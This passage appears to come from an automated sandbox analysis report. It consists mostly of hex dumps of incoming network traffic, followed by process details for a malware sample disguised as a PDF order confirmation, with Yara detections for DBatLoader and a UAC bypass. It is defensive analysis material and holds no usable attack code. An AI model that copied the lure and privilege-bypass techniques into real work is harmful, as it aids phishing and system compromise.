2022-06-26 07:43:17 UTC	767	IN	Data Raw: bb 8f a0 bf 0f b5 5d e1 01 30 8c 8d 5f 28 29 03 97 5f 6a 03 bd e6 f7 5a da cc 91 5a 8f c9 2e 46 f0 3d ee 84 4b 32 eb 96 9f 92 41 81 ec 14 32 fd 7a 38 49 41 f6 57 65 16 2a 3d 5e 6d 16 84 b2 99 4f f5 37 88 5c f8 62 07 a9 49 a2 75 81 04 f0 ae 0f b1 cf 9e 06 4b 63 b3 93 7b 10 5a 8e ad 32 a3 1b 78 c9 84 b6 53 1a d6 31 43 19 8b 18 7e c9 ff 0e b7 96 fd 66 f6 2a a9 5a 99 5c 24 2e 66 53 4a 03 e1 95 e4 97 0f be 43 3a 9c cf 32 e0 7f a8 33 e6 65 6d 11 dc 5f 98 74 2f 92 7a 70 00 7c cb 95 bf b0 d8 ce 75 a8 7e fa 61 3c c0 a3 9e 24 90 7d 83 98 9e ff 1a 1f 46 62 17 18 14 d1 32 92 79 27 ff bf 57 73 28 f6 89 93 d3 dc b7 51 26 00 a4 d6 16 d8 21 bb 8c 81 d0 fd 16 1a e1 f0 17 bf 28 b1 b7 7d e8 73 c2 f3 a3 56 01 d6 e5 31 b7 90 a0 ca 30 58 9e 7c f9 02 c1 f1 42 8a ab 7b 12 b1 bb Data Ascii: ]0_()_jZZ.F=K2A2z8IAWe=^mO7\bIuKc{Z2xS1C~fZ\$.fSJC:23em_t/zp\|u~a<$}Fb2y'Ws(Q&!(}sV10X\|B{
2022-06-26 07:43:17 UTC	771	IN	Data Raw: 3b 50 1f 78 a2 b5 c0 3c 5e fd d5 8a bc 01 b7 74 f9 78 05 7d 0c 5b 94 70 33 d7 65 d4 8a 97 38 a0 19 a0 63 a2 b6 92 bc 55 00 de d6 b1 d7 5a 03 28 e5 95 c9 2b 18 26 c3 67 9a d3 ef f3 07 57 27 63 d0 ba 1e 71 2e 00 d1 60 4c fc 20 80 8e 33 54 d3 79 cc f6 fb 77 1f f4 2f 79 4c 09 59 22 b3 bb 75 1b a3 62 11 b4 96 96 d0 3c ed fe f1 da cf 08 5a 87 50 67 44 4e 77 b8 7e 4c c5 ee 20 82 72 ed 77 dd a9 4d f0 e9 ec 7e d2 d9 15 b2 75 26 ab d4 31 14 2b e5 f2 67 2c e5 33 5f 4a b3 7c e1 71 76 58 03 1b 8f 63 57 e5 4b d1 6e fe 84 a6 00 f4 55 b9 2d b1 25 fb 09 b1 6c 1a 6f 61 8c 2b 75 b3 c1 b1 e2 eb fa 86 0e d1 38 c9 10 c6 96 36 ed 43 0b 8e bf 11 76 15 20 33 d3 5a d2 a6 a1 27 86 63 84 08 2e 16 12 fc 47 4f 87 4d 37 d9 ed c2 ed 16 69 3c f5 51 a3 b9 fd 63 36 ee 29 3d 94 0b b7 ec f6 Data Ascii: ;Px<^tx}[p3e8cUZ(+&gW'cq.`L 3Tyw/yLY"ub<ZPgDNw~L rwM~u&1+g,3_J\|qvXcWKnU-%loa+u86Cv 3Z'c.GOM7i<Qc6)=
2022-06-26 07:43:17 UTC	775	IN	Data Raw: 91 29 62 99 3a 85 d9 c6 48 45 62 c2 a8 bc ac fc 28 c7 82 55 2f f3 c4 4b 10 94 df ef 25 fd d6 48 07 84 a3 d8 60 35 f4 48 6a 21 b4 d8 87 bf fb 1a 6c 55 59 e3 02 ee c6 87 7f 16 97 c4 7f 92 7a ea a9 a2 ad 50 6d 5d 79 32 81 86 e7 71 84 e7 24 0b 3c ad 3a 27 41 fc 69 ac 30 fa 7e a3 2e 0b 81 2e b5 f8 9c e1 71 4b 80 14 55 ea a5 a8 09 4b a4 4e 37 18 65 e7 db 7e de 62 1c 0b 16 3b 9e ae 85 65 8f 06 89 72 c8 3a 30 f5 9a 8a 8e 5c 0e ea 34 44 4c e5 9d a8 b4 f5 13 69 65 e3 e7 02 b9 99 99 31 12 22 96 ea 8e ef 00 ac cf f4 15 08 cb 11 e5 17 dc 52 18 0c 78 00 d7 bf 44 a0 50 e2 39 88 d8 ef 00 8d 22 01 02 00 b1 f2 b8 11 9f d9 7b 36 c1 74 5a 56 f9 65 ca a5 da d5 be 81 a1 20 ae 0a 19 41 ec 6a fb ec 48 ad c8 0a fe 48 cf fb e0 36 4b c9 8e 8b 52 84 e2 5a 93 b7 5c 93 ef e2 9b a8 b5 Data Ascii: )b:HEb(U/K%H`5Hj!lUYzPm]y2q$<:'Ai0~..qKUKN7e~b;er:0\4DLie1"RxDP9"{6tZVe AjHH6KRZ\
2022-06-26 07:43:17 UTC	779	IN	Data Raw: d2 39 1c 13 fd d6 f6 e1 e5 3e f6 14 86 48 d9 3d 10 bb b4 4d bd 13 38 be 17 61 97 f9 81 49 b9 fb 67 37 85 62 3f 07 c7 68 53 cc 54 a9 40 a3 db b8 11 30 61 54 ef 89 93 3e 64 fc ea 0c 4a 80 c0 bd 08 3c 75 82 c9 7f 68 7a bc 84 64 d0 ce ba d8 86 6e 25 ed 89 1a 85 35 61 d3 c6 ec 7d 71 5c 0d 9c 0e 11 6f 8b 2f f0 ee 71 95 35 0b b5 fd 4a 1b 42 f4 3e a9 77 5c 33 d1 96 51 89 83 22 64 2f 9b cf e3 bb dd fb c6 01 68 df 9a 52 a2 16 26 ff ef 56 05 86 62 da f9 9b c3 e6 e8 e1 0e d8 15 99 8d fb d1 79 ad 40 0e b9 bb 42 47 46 fd a6 7b f2 50 e9 60 8b a7 f1 6d a0 bb 96 8a 24 1b 79 2b 4b 7a e8 4d 83 b2 32 b6 44 9b ad 00 b6 bc ca 0a be 37 59 f6 55 6d 65 db 99 6e 89 c3 26 fc 06 36 fc 6b 53 55 cc de e2 82 2d 87 47 cd 4d 88 5c 20 48 2a 90 a7 40 7f 52 64 6b 90 ba 35 56 56 14 3c 44 52 Data Ascii: 9>H=M8aIg7b?hST@0aT>dJ<uhzdn%5a}q\o/q5JB>w\3Q"d/hR&Vby@BGF{P`m$y+KzM2D7YUmen&6kSU-GM\ H*@Rdk5VV<DR
2022-06-26 07:43:17 UTC	783	IN	Data Raw: 14 8a f6 92 5b 62 7d 46 3c d6 d1 8e 14 92 c1 8e e8 18 48 f3 75 4e 19 67 33 b4 4b b4 92 29 90 e5 92 59 30 c4 28 3d 8f 87 2c 2d 3c 54 79 25 64 c4 2a a1 44 6b dd d6 38 60 b7 e1 9f f1 75 01 6d 9e 8f d9 1f 21 c5 ca 0f 3c 26 5c 0f 50 74 61 38 8a 8e 61 f1 c3 fb cc ff 16 44 7c 6f 3a 8a e6 41 d0 18 f2 ef 2c d7 e3 b0 51 65 b0 d6 00 13 3b 48 27 c9 18 ab 84 5d da 78 a5 f5 c6 4b ec 7c 76 39 0d 8e 9f 15 25 96 3c da 08 0f e8 67 73 51 ff 63 07 64 12 75 6c d0 c0 87 d3 05 27 ff 42 0b a9 57 44 c9 c6 47 29 84 97 0e 26 67 77 e6 2a 7a 58 3c f6 c4 2d 18 7b 4c d9 28 c9 e7 21 b9 40 0b 4b 00 81 4f ad e7 f9 0b 85 2b 95 92 30 95 b6 ad a3 43 10 b6 37 f5 4f 6f c9 c4 8f 71 fa 84 07 18 94 ed 84 84 a7 49 64 30 f4 2d a2 c5 1e 76 fb 6e 45 d8 16 aa 25 4e c7 24 5e 70 42 e1 f3 57 da e3 43 5c Data Ascii: [b}F<HuNg3K)Y0(=,-<Ty%dDk8`um!<&\Pta8aD\|o:A,Qe;H']xK\|v9%<gsQcdul'BWDG)&gwzX<-{L(!@KO+0C7OoqId0-vnE%N$^pBWC\
2022-06-26 07:43:17 UTC	788	IN	Data Raw: af ee a7 01 73 1a 2e 59 61 c5 f4 20 5d 13 23 e8 74 9e 0b ac 6f 66 41 62 45 ee 3b c8 4b 9b 7b c6 a3 61 90 62 a5 8d ba e2 44 76 12 c4 f9 ef 8b 2f 34 39 dc a4 7a 90 8a b5 42 6e 97 0b 4b 6c 53 38 12 b5 47 37 b3 59 e4 a4 f4 46 61 00 32 3d f2 75 de 00 cf 4f ec 68 88 e6 de 00 1f 42 71 a5 97 b7 4a dc 76 3c db 3d 37 d4 56 23 18 86 61 10 3f 3c a4 86 0b c0 c4 9e 0c ec fc e3 ac b7 85 5a f1 d3 8f 60 d2 c1 87 f7 5e ce e7 9a 6f 2a 57 24 64 58 9c eb 9b 4a c0 29 51 a7 73 0a a8 36 42 11 50 c6 28 b5 ae 76 d8 52 34 47 3c fe c6 31 e6 76 b2 5a 29 41 6a 01 22 18 40 96 20 98 35 66 17 dc a0 ca 1e 2f 49 66 fb 2a 21 41 b9 f8 26 a1 8f 74 f0 1f e0 2d 9d 42 c7 05 d1 61 de dd 4c e4 42 19 76 1c a6 a1 ea 9a 24 51 4c 61 ca 2e 7c 7d 45 10 ed 11 1f dc 66 e8 96 52 02 8c b7 ff 8c ba 98 19 7c Data Ascii: s.Ya ]#tofAbE;K{abDv/49zBnKlS8G7YFa2=uOhBqJv<=7V#a?<Z`^oW$dXJ)Qs6BP(vR4G<1vZ)Aj"@ 5f/If!A&t-BaLBv$QLa.\|}EfR\|
2022-06-26 07:43:17 UTC	792	IN	Data Raw: 5e 55 aa bf b4 ca 34 b4 05 d1 50 0c d2 fc ef db e5 38 38 61 37 e9 d6 35 fb 59 74 4d ba 68 38 f9 69 db 89 f5 1b 05 18 15 2d c7 e6 68 fb 06 4a 0c 1b 4e d0 df 82 3b 81 80 c8 a9 b2 49 87 c1 76 73 f0 9c c3 2f b2 f8 e0 5c 22 d6 1b 0b 88 55 6a 55 2d a3 3a 82 6e d4 18 df 87 66 4d 99 d2 5e be 58 f4 fb cf 70 98 e2 4c 2f 51 0d 57 55 09 0a 6d ff df 04 64 af a8 34 d2 d8 e0 66 8c 6c ac dd a2 24 9d ea 02 5f 1b 84 b5 85 c4 e4 e6 6b 24 26 dd 54 c2 52 c7 c4 0b 77 4c 8e 09 70 b2 b6 05 be 20 6e 79 f2 b7 ab 66 2a 1b 5b 45 95 07 fb 38 b4 ef 40 38 f1 2e 39 eb 21 66 0d 99 87 b2 b4 fc 00 d5 b5 f0 c7 8e d5 f5 9c 58 a2 cd 9c 76 67 30 12 10 47 02 5d 10 f0 e5 9d 2d fa 61 c8 83 52 06 8d d3 3f 1c 90 b6 c3 41 6e a5 c7 f3 28 f3 4c 15 b4 90 0e ca ae c4 5e 1a d6 38 2f 74 7d 7a 79 ca 04 9b Data Ascii: ^U4P88a75YtMh8i-hJN;Ivs/\"UjU-:nfM^XpL/QWUmd4fl$_k$&TRwLp nyf*[E8@8.9!fXvg0G]-aR?An(L^8/t}zy
2022-06-26 07:43:17 UTC	796	IN	Data Raw: 63 5c 5e e0 04 d4 a9 c7 95 e2 96 21 17 4b 1f 0a a0 5f c4 68 6a a9 49 d5 4f c4 05 fa e9 49 22 04 2b f5 cb cd 1e a2 f1 84 a8 28 19 8b 08 ef 7c 5c 02 87 d6 4d 3b 77 75 44 a2 2a e5 79 7c ed 7a 58 f2 5b ce 6a 79 d1 15 b0 97 9a 66 ac 0f 38 a5 b4 de 6f 79 95 87 5a f8 90 e9 c0 22 91 b2 85 31 1a 8e 9b c8 dc 43 52 cc e0 45 ed 61 6c 6c a3 e4 f5 63 a2 99 c4 d5 85 a2 55 cc 26 51 89 61 f0 52 46 57 4d 24 30 2d 48 41 cb ba 80 6a a2 56 07 4f 67 b4 9b a6 77 5a 96 fd ce 9e 31 2b 25 0f ed 02 99 5b f6 09 54 61 3a 34 c3 33 6f 98 ae 46 3e 92 3d 02 e3 e2 ef fa a2 21 77 05 ba 49 b9 7b 19 37 7a 8e 87 e3 6e c0 f4 5d 7c d9 aa 0d 1c 3e 3d ce 3d 39 bf ca 82 9b aa 23 c7 d4 16 e3 57 c8 c1 be 77 8d f2 77 4f c8 18 4a b6 5f 70 4a c2 61 ce 0e 3e 35 da 0c ee 92 f2 25 48 16 85 ba 78 00 e0 da Data Ascii: c\^!K_hjIOI"+(\|\M;wuD*y\|zX[jyf8oyZ"1CREallcU&QaRFWM$0-HAjVOgwZ1+%[Ta:43oF>=!wI{7zn]\|>==9#WwwOJ_pJa>5%Hx
2022-06-26 07:43:17 UTC	799	IN	Data Raw: c0 6a 5f 6c f4 7f 96 38 c7 b9 77 bd 8d 03 cb d5 b5 bc d6 00 ae e0 b3 c1 95 81 b3 ef ae 6b ff 73 4c 89 ac e6 7b c0 5d 1f b4 46 a2 ed 03 fe f4 26 9e 03 f6 ca 73 b6 f9 04 f1 35 64 b7 c3 68 0d 0a b1 90 c2 63 36 29 4d 31 7c 05 0a c3 a6 3b 47 e8 59 1e fd b4 e8 23 48 94 d2 c6 be 74 68 36 b9 28 7c fc 14 30 53 92 11 c3 b9 2f 9e 91 0c e0 fd df 69 d4 55 d7 19 9f e1 99 6b 69 59 50 8b 12 f5 23 cc e6 d5 a2 91 5f 62 d0 b8 52 ba 10 b3 88 ee 3f b0 f2 55 e0 93 4d 2f fc 5c 33 98 29 38 76 e5 0c 80 1c a2 90 15 a6 d4 c0 d3 d6 a2 54 39 ed e3 ff 26 2e c3 e3 41 a5 68 cc ea 66 e1 d1 c8 52 76 19 f8 26 c0 fc 22 ac ce 3d 13 bd d3 31 04 bb 0c f4 f3 c3 34 84 12 1a cf 42 a5 99 01 89 ec c0 bd 67 c4 6d 83 c1 3f 9c 36 7e f8 0d 50 ff d8 a1 4c 62 66 54 d0 1e 47 c7 80 8d 83 78 82 51 ff a6 de Data Ascii: j_l8wksL{]F&s5dhc6)M1\|;GY#Hth6(\|0S/iUkiYP#_bR?UM/\3)8vT9&.AhfRv&"=14Bgm?6~PLbfTGxQ
2022-06-26 07:43:17 UTC	803	IN	Data Raw: 27 6e 93 54 d4 30 ac 64 c7 ca 2e 58 c5 19 3e ca b6 d4 71 f7 89 de ef 13 52 5c dc 4f 3d 8a 53 e9 04 f5 9e be 71 7f 24 de 47 73 1b 1f 5c 1a cc ba 30 fa 78 dc 7c b2 9c 3d 36 11 d8 22 e2 7e 3f 47 b9 68 80 b5 9a 85 8b b8 d1 e2 3b 24 28 68 d9 d1 c8 a0 64 5b 0d f2 61 f9 18 d0 cb 60 44 b6 2b b8 d9 d0 17 c5 e2 b9 db 77 17 9b 2f f2 27 3f 02 e7 ca b5 21 11 6a 61 cb f8 54 bc 2a 61 ca b2 68 02 8f 39 34 a0 11 6a 47 64 4c 72 b3 3f 6d cc 00 0c a8 34 5c 6b 47 55 ee 9d c7 5e a3 73 86 82 20 a6 ba 6b 1c bd 6d d0 6d a1 10 49 f3 63 ef 40 f9 67 7e 44 6b f1 9d 66 d8 39 8b 2c 8d 06 64 de c5 4d a1 ae d0 1d 4c e8 be 69 c4 7e 88 de 43 fe a0 90 e0 fc d4 eb fb 18 e4 f3 69 a2 2a a4 61 8d cc 31 22 c2 24 19 05 22 d7 c1 7e c1 77 10 43 fc 9e 3c e2 b7 d0 22 32 63 51 08 38 58 4e 50 c2 02 3c Data Ascii: 'nT0d.X>qR\O=Sq$Gs\0x\|=6"~?Gh;$(hd[a`D+w/'?!jaTah94jGdLr?m4\kGU^s kmmIc@g~Dkf9,dMLi~Cia1"$"~wC<"2cQ8XNP<
2022-06-26 07:43:17 UTC	807	IN	Data Raw: 30 32 c8 dc 5e 60 7a ae 30 b8 de aa b9 5a 39 24 00 66 08 54 c8 2c 3c 41 42 f0 5d fa 0c 1b 13 ad ff ec 72 d9 8d bd b8 47 da 20 8d f4 5d e7 82 ad b5 74 7d 1f 2d 0f 82 a3 08 ea 97 c2 9f 23 92 4b 4c 06 4c 4f 53 6a 32 94 90 a4 e7 2f b3 21 51 69 e5 a3 08 9e df a0 8a 52 85 9f a7 12 e2 07 20 4f 8c 16 15 9d c0 19 64 50 1c 6f d1 56 1a 77 cc a4 58 c2 8a 6b ca cf 43 2d 31 0d 56 ab f3 b4 e5 a9 28 dd 62 20 2b 49 12 c2 80 d6 86 9a b6 95 9c d1 98 8a a8 13 0d aa fc e6 32 ff 12 cd 6a db a4 d2 71 52 87 f8 54 b3 42 95 fd a7 39 e8 13 42 6e a5 f8 0c 82 0c 2d 75 6e af 12 9c c8 bc 03 71 b5 e8 47 61 b6 3d e6 ac 10 52 65 cd 57 23 94 18 6a 27 c4 bc 48 7d 5b 6d 1d 19 2a 0c 29 d8 7d 1f 1d eb 8b 94 e3 df d8 d4 73 8b b8 c8 21 d0 75 26 b8 ed 96 a0 16 8b ac 7b 82 1b 16 f4 b2 10 0f c4 d3 Data Ascii: 02^`z0Z9$fT,<AB]rG ]t}-#KLLOSj2/!QiR OdPoVwXkC-1V(b +I2jqRTB9Bn-unqGa=ReW#j'H}[m*)}s!u&{
2022-06-26 07:43:17 UTC	811	IN	Data Raw: eb 6d 09 d5 0d 5f 06 74 6a 69 d7 f7 dc 3f c4 bb 2b bb 7a 08 06 35 51 8e 37 b8 4b 6c 3a f9 6b fa 75 82 f8 8c 25 7d 5e ff a5 50 ab f6 0d 5e 89 f0 c4 59 34 17 76 78 d2 90 57 8f 0b ca 09 c2 5b 16 13 74 5f b2 3b 07 66 d8 61 e3 4b ac 00 c8 a0 78 f9 fb 8c f0 cb 82 8c 4b 33 a4 f0 b4 2a 7f 69 f3 8d 89 03 3f 20 e0 2a a7 f7 1a f4 df 45 2c 58 1d 6e 48 1e 7e c9 c6 72 6e c1 85 04 59 8d 4c f2 c5 98 fa 52 e2 f2 ef fe 01 b7 e1 28 9f 02 10 42 a8 48 8e 11 13 2d 0a 1c ee 27 64 6b 47 2c e4 8a bb 54 3c 1e c3 1e ee 01 19 31 09 cc 6a f5 e5 3b a1 44 7e 38 0b 5a 01 27 4e 56 2f a8 3f 68 f1 f7 46 b9 fd 59 2c 8d 9f a9 e1 2c 35 bd 99 4b 39 77 09 e4 e0 aa b2 46 3f 15 a7 19 4b 9c a5 54 93 6c 8e c7 6f 5d bc 30 91 bb 40 1e 6b 88 31 b5 df 1f de 48 0c 06 c5 0b 19 50 2d e1 90 71 d7 5c 9f 2c Data Ascii: m_tji?+z5Q7Kl:ku%}^P^Y4vxW[t_;faKxK3i? E,XnH~rnYLR(BH-'dkG,T<1j;D~8Z'NV/?hFY,,5K9wF?KTlo]0@k1HP-q\,
2022-06-26 07:43:17 UTC	815	IN	Data Raw: 6c bc be 43 ba 80 4a 55 1d d0 2c 51 54 a9 84 72 85 1d c6 a9 30 b1 aa 88 f2 7e fe f6 2d 88 d2 f2 7b 12 9e 7a db 6a 01 7f f0 25 89 c3 70 60 bd 4b 9f 2a e1 d5 5c f4 60 39 37 dd f0 da 02 e3 a3 23 89 48 ee a1 04 44 5c 62 c1 38 99 93 05 cc 2a bd c4 db 59 81 95 42 40 0f 04 12 0f cf 83 09 d4 7e 6a 0a 42 d0 18 42 e3 f7 03 fe 94 42 b4 c6 41 d0 b0 47 1c 8c 00 2a d7 7c 71 db 8f ad 3a 64 0a 91 5e 27 6c 12 de 48 56 72 28 ab 8b 0c 62 75 ef 01 51 0a 0c f1 5a d5 86 44 a3 97 f3 60 d3 79 70 8f 0a b5 d6 71 18 a1 a5 52 92 b5 35 0a 37 22 cd 2a 31 29 22 30 de 1a a1 3f b2 b8 e6 51 a2 45 74 bc c1 02 cb e8 96 6b b1 19 0f d6 d8 6d 6d 6b 40 f1 15 7c de e3 31 1b c8 a9 d1 5c ea e8 ad 88 d7 11 f4 69 cd 53 64 93 25 b4 f6 cd 28 ef b7 40 ef be 32 1f d8 53 56 c1 9a ae de bc 4f e0 01 c0 fa Data Ascii: lCJU,QTr0~-{zj%p`K\`97#HD\b8YB@~jBBBAG\|q:d^'lHVr(buQZD`ypqR57"1)"0?QEtkmmk@\|1\iSd%(@2SVO
2022-06-26 07:43:17 UTC	820	IN	Data Raw: c6 6d 0c fa 29 c1 70 1b 51 bc 48 f5 81 62 00 28 17 11 89 11 cb 29 6d 0e cd 92 25 bd 66 2a a6 a0 00 5a cd 29 57 7b db 19 25 77 80 17 9a 18 28 14 2c da 24 fd 9b b0 54 a4 09 1e cb 12 f7 bd 41 7c 64 74 3c c9 3d 3b 5c cf ab 90 91 de 54 5d 09 06 34 ea 36 d7 9c 50 c4 4b f0 29 96 e0 ac 4e 6f b4 41 30 10 3d 0d 0d 37 d0 49 8d 85 65 1b 11 8e 8a 98 e0 72 5e 4d d8 dd 4e 50 d1 20 f4 5e 6f 44 09 43 f7 bb 35 48 19 ca 4e cf 69 ef fe e8 0a 22 d4 ca 0c 15 ea c0 b6 73 46 b5 6e 88 18 c8 5f e9 af 85 50 81 dd 7b 11 d9 f0 20 d6 e3 f8 d7 07 62 e7 2d e3 13 fa d4 91 59 2c c6 cd a1 51 d0 49 e9 ca 52 e8 6f 0c a0 82 2b 65 b9 eb f5 0d aa 10 c0 d6 98 ea 73 13 53 a8 33 c7 e5 ae 2a 3c ba 56 62 6c f9 d2 90 a5 e0 4e a5 44 d0 3a f8 15 5a 9d 70 3e c8 5d 12 c6 50 88 3c a1 4a 11 fd d7 8e e4 7b Data Ascii: m)pQHb()m%fZ)W{%w(,$TA\|dt<=;\T]46PK)NoA0=7Ier^MNP ^oDC5HNi"sFn_P{ b-Y,QIRo+esS3<VblND:Zp>]P<J{
2022-06-26 07:43:17 UTC	831	IN	Data Raw: 10 75 0a 59 57 81 33 0a 5e 71 c5 49 d7 50 03 12 fa d5 95 b4 f3 9f 98 93 39 02 6a af aa 72 87 c6 cb a5 b1 f8 f7 5b 2f 15 e5 7b 4e 1c 7e c0 71 f0 5b 2a b5 ee a5 89 70 99 16 0d cf fb e2 cb ac b1 f1 ad c3 2f fe 2a 1b 8e 4e 03 1e 7b 24 0b 3e e5 11 ce f1 e3 d3 c4 bf 49 c9 74 73 37 69 4a 65 d1 70 87 18 f5 41 98 85 ba d7 1e cc 70 a0 b9 45 79 9d ba 84 76 c3 03 c5 f3 25 53 89 d1 e3 7e cc 28 63 3e 57 27 82 b5 05 19 36 9f ca 6a 22 07 7e 93 ca fe 11 ec 46 46 27 a5 23 4c 66 e9 9d e1 53 2b 6f 93 e3 bd 1d 1b 57 c2 5f 8b 24 bb 45 39 ce f2 44 ce b9 85 ea 9b ab e8 82 8c f5 ed e6 59 dd 92 b3 8d 20 bd b1 0a 4b 6a 63 a3 6d ac 8c e5 d4 70 05 ba db 7b ab 38 57 cc 89 c2 31 76 b7 43 4c 39 bd c5 46 64 9b d6 fc 68 62 4e ee 11 2d 80 6b d7 aa 73 19 83 8d 60 59 68 f9 bb 8d a9 05 63 ec Data Ascii: uYW3^qIP9jr[/{N~q[p/N{$>Its7iJepApEyv%S~(c>W'6j"~FF'#LfS+oW_$E9DY Kjcmp{8W1vCL9FdhbN-ks`Yhc
2022-06-26 07:43:17 UTC	836	IN	Data Raw: 31 76 44 1c c2 43 1f 51 2d 76 31 ef 22 c1 34 3d d4 96 16 30 5d 12 54 f1 8e 42 29 4f 8c 0d bc ea 8f fd d5 b8 22 4a 4f 04 c2 84 5d 55 ef 87 06 b8 b5 fa 9c 2e 03 8a 4f 90 04 97 12 aa d0 d6 df 6c d5 e6 0b dc 2b 03 c4 93 1f 74 06 76 07 24 72 7e 50 fc 03 f9 b2 fb b3 a0 40 34 1b 99 8b f1 3b 11 9d 77 f3 86 12 04 77 4f b8 69 ec f4 bd 50 8b 25 c7 40 9f 85 88 fa 12 f3 94 5f d3 07 69 1b 20 38 9f db 15 95 8f 2c 13 42 f5 20 8c bd 54 57 80 7d bd 2d ba e1 3a d7 9b c2 1d bc 5a fb 0b f1 e9 68 38 60 e0 97 36 6a ca 67 45 ec 2b 8f e5 f5 c8 f3 6b b2 30 33 34 ce bd e0 39 e6 5b 30 fa f2 16 46 a2 c9 f9 7d f5 62 31 04 23 72 c3 f5 4c 8b 9b 44 b3 ba d3 5c b1 2d ff 43 a3 6d 77 cd e5 76 af 01 be 72 bf d6 a6 b0 ec ef 74 cd 9f 57 96 5a 7f b3 df 37 ae c3 96 6f 18 fa 6d 3c fd 75 c0 02 f3 Data Ascii: 1vDCQ-v1"4=0]TB)O"JO]U.Ol+tv$r~P@4;wwOiP%@_i 8,B TW}-:Zh8`6jgE+k0349[0F}b1#rLD\-CmwvrtWZ7om<u
2022-06-26 07:43:17 UTC	852	IN	Data Raw: 73 bc ae fc a3 a2 31 be ad 92 38 fd 67 a5 e6 72 92 1a 64 35 ea 8c 45 d1 45 a3 e7 1f b9 a9 a6 0a 92 39 d9 0f 91 3c bc e0 00 a6 ca bd e1 72 00 7e 46 5b d9 00 7e b4 70 85 66 a2 c8 72 e9 44 f2 2c 74 51 e2 fe 5c 79 6c 07 ea d4 ab cb d4 3b fe 80 7d 9e 94 37 57 40 a3 40 31 45 45 33 00 f2 2c b1 d1 e8 7b c6 fa 44 53 3d af d2 36 3e 07 76 d6 d2 81 d7 02 74 64 7e 29 0e ca 6f be 57 40 7c c9 21 3c 1d 16 a2 d4 3f 9f dd 70 6f 67 87 6f e3 1c e1 0e de ea 0c 14 1a 97 ed dd 34 66 44 45 92 e6 60 36 63 8b c0 a4 2a e7 2b 7c c2 a0 11 3c 78 67 2e 09 5e 32 2e 96 d6 e5 44 d2 1b 49 51 61 b7 e6 f2 3c 35 47 90 0a c7 5a 98 27 fe b8 57 a5 f6 1f 5c f1 e3 b5 d6 e7 bb 19 61 39 9b ce ff 6b f8 2b af 26 8e c6 db ce f5 6a 50 8b 4e 2c 60 9e e6 a3 d1 70 e2 e2 b2 9a b1 aa 4e c2 c1 55 ab 3a 7d f2 Data Ascii: s18grd5EE9<r~F[~pfrD,tQ\yl;}7W@@1EE3,{DS=6>vtd~)oW@\|!<?pogo4fDE`6c*+\|<xg.^2.DIQa<5GZ'W\a9k+&jPN,`pNU:}
2022-06-26 07:43:17 UTC	863	IN	Data Raw: f0 55 d2 a4 ba 6b 88 7a 67 59 ec f4 69 5a df e8 0c 85 d7 4d 37 55 73 9e 36 93 19 0a 7f d4 b1 a8 22 fb ef cd a0 75 bd cd 1d 94 1d 67 6d 63 91 97 7a 0d 8c 33 45 45 48 94 e3 ad 35 76 a1 9c 8e cc 68 76 11 f6 1d 89 1b 8a 9a c7 2d 5b 3f db 49 21 02 20 9d 75 1e b7 87 55 bd e4 da 4b b3 8a aa 23 ab 36 68 4e fd 5c 74 d8 a1 e6 36 36 51 75 58 9f 0a 77 29 0d c0 b0 11 6a ba 3e 26 69 8d 7f 4c 68 72 ca 61 44 92 22 81 6d f2 01 5e 82 88 13 cb f2 e7 91 c4 d0 6f dd 7a 9c 6f b6 53 40 61 8f 79 85 dd c9 fa 9e 3b 9d 11 32 87 45 60 3c 84 30 1d fd b1 77 21 9d 6c f3 3b 80 75 a0 60 d1 fc c0 3f 94 58 d2 f9 01 4e 5a 04 b5 36 32 72 01 9b 9b b9 60 61 c2 97 bc e7 db 38 f8 f7 35 49 fa e5 91 06 9d 9d a1 95 28 0f c4 61 04 95 00 a9 00 c9 57 d3 13 a5 bd 7f 3c 08 4c b9 c8 58 ea 58 7c 64 29 20 Data Ascii: UkzgYiZM7Us6"ugmcz3EEH5vhv-[?I! uUK#6hN\t66QuXw)j>&iLhraD"m^ozoS@ay;2E`<0w!l;u`?XNZ62r`a85I(aW<LXX\|d)
2022-06-26 07:43:17 UTC	879	IN	Data Raw: 77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 85 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 85 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 3c 85 8d 75 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 Data Ascii: wUUJw.y042}UUwJ.w.wuJ42}yJOuJwUUJw.y042}UUwJ.w.wuJ42}yJOuJwUUJw.y042}UUwJ.w.wuJ42}yJOuJwUUJw.y042}UUwJ.w.wuJ42}yJOuJwUUJw.y042}UUwJ.w.wuJ<uuii$s"}}uii$s"uii$s"}}uii$s"uii$s"}}uii$s"uii$s"}}uii$s"uii$s"}}uii$s

Target ID:	0
Start time:	09:42:42
Start date:	26/06/2022
Path:	C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe"
Imagebase:	0x400000
File size:	901632 bytes
MD5 hash:	8E60C68E832622B0EBD88A612898A9F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.315120211.0000000003610000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.306973875.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.316837700.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingComputerDefaults, Description: Yara 